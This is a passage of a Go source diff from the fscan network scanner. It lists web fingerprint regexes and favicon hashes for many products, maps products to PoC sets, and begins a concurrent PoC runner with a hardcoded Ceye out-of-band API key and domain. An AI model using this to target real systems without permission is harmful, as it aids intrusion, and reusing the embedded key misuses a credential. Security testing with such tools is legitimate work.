{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
{"Anquanbao", "headers", "(Anquanbao)"},
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
{"BigIP", "headers", "(BigIP|BIGipServer)"},
{"BinarySEC", "headers", "(binarysec)"},
{"BlockDoS", "headers", "(BlockDos.net)"},
{"CloudFlare", "headers", "(cloudflare)"},
{"Cloudfront", "headers", "(cloudfront)"},
{"Comodo", "headers", "(Protected by COMODO)"},
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
{"DenyAll", "headers", "(sessioncookie=)"},
{"dotDefender", "headers", "(dotDefender)"},
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
{"Jiasule", "headers", "(jsluid=)"},
{"KONA", "headers", "(AkamaiGHost)"},
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
{"Newdefend", "headers", "(newdefend)"},
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
{"SonicWALL", "headers", "(SonicWALL)"},
{"Stingray", "headers", "(X-Mapping-)"},
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
{"Usp-Sec", "headers", "(Secure Entry Server)"},
{"Varnish", "headers", "(varnish)"},
{"Wallarm", "headers", "(wallarm)"},
{"阿里云", "code", "(errors.aliyun.com)"},
{"WebKnight", "headers", "(WebKnight)"},
{"Yundun", "headers", "(YUNDUN)"},
{"Yunsuo", "headers", "(yunsuo)"},
{"Coding pages", "header", "(Coding Pages)"},
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"华为(HUAWEIUSG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"泛微E-mobile", "headers", "(EMobileServer)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"Hadoop Applications", "code", "(/cluster/app/application)"},
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
{"帆软报表", "headers", "(数据决策系统)"},
{"华夏ERP", "headers", "(华夏ERP)"},
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
{"APACHE-kylin", "code", "(url=kylin)"},
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
{"Nagios", "headers", "(nagios admin)"},
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
{"h5ai", "code", "(powered by h5ai)"},
{"jeesite", "cookie", "(jeesite.session.id)"},
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
{"正方OA", "code", "(zfoausername)"},
{"希尔OA", "code", "(/heeroa/login.do)"},
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
{"海天OA", "code", "(HTVOS.js)"},
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
{"网神防火墙", "code", "(css/lsec/login.css)"},
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
{"weblogic", "headers", "(WebLogic)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
}
var PocDatas = []PocData{
{"致远OA", "seeyon"},
{"泛微OA", "weaver"},
{"通达OA", "tongda"},
{"蓝凌OA", "landray"},
{"ThinkPHP", "thinkphp"},
{"Nexus", "nexus"},
{"齐治堡垒机", "qizhi"},
{"weaver-ebridge", "weaver-ebridge"},
{"weblogic", "weblogic"},
{"zabbix", "zabbix"},
{"VMware vSphere", "vmware"},
{"Jboss", "jboss"},
{"用友", "yongyou"},
{"用友IUFO", "yongyou"},
{"coremail", "coremail"},
{"金山", "kingsoft"},
}
-150
View File
@@ -1,150 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
var RuleDatas = []RuleData{
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(Powered by Atmail)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"致远OA", "code", "(/seeyon/common/)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
}
+729
View File
@@ -0,0 +1,729 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
// API配置常量
const (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
)
// Task 定义单个POC检测任务的结构体
type Task struct {
Req *http.Request // HTTP请求对象
Poc *Poc // POC检测脚本
}
// CheckMultiPoc 并发执行多个POC检测
// 参数说明:
// - req: HTTP请求对象
// - pocs: POC检测脚本列表
// - workers: 并发工作协程数量
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
if workers <= 0 {
workers = 1 // 确保至少有一个工作协程
}
tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞
var wg sync.WaitGroup
// 启动工作协程池
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
// 执行POC检测
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
if isVulnerable {
// 格式化输出结果
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
" 漏洞类型: %s\n"+
" 漏洞名称: %s\n"+
" 详细信息: %s",
task.Req.URL,
task.Poc.Name,
vulName,
details)
Common.LogSuccess(result)
}
wg.Done()
}
}()
}
// 分发任务
for _, poc := range pocs {
wg.Add(1)
tasks <- Task{
Req: req,
Poc: poc,
}
}
// 等待所有任务完成
wg.Wait()
close(tasks)
}
// executePoc 执行单个POC检测
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 初始化环境配置
config := NewEnvOption()
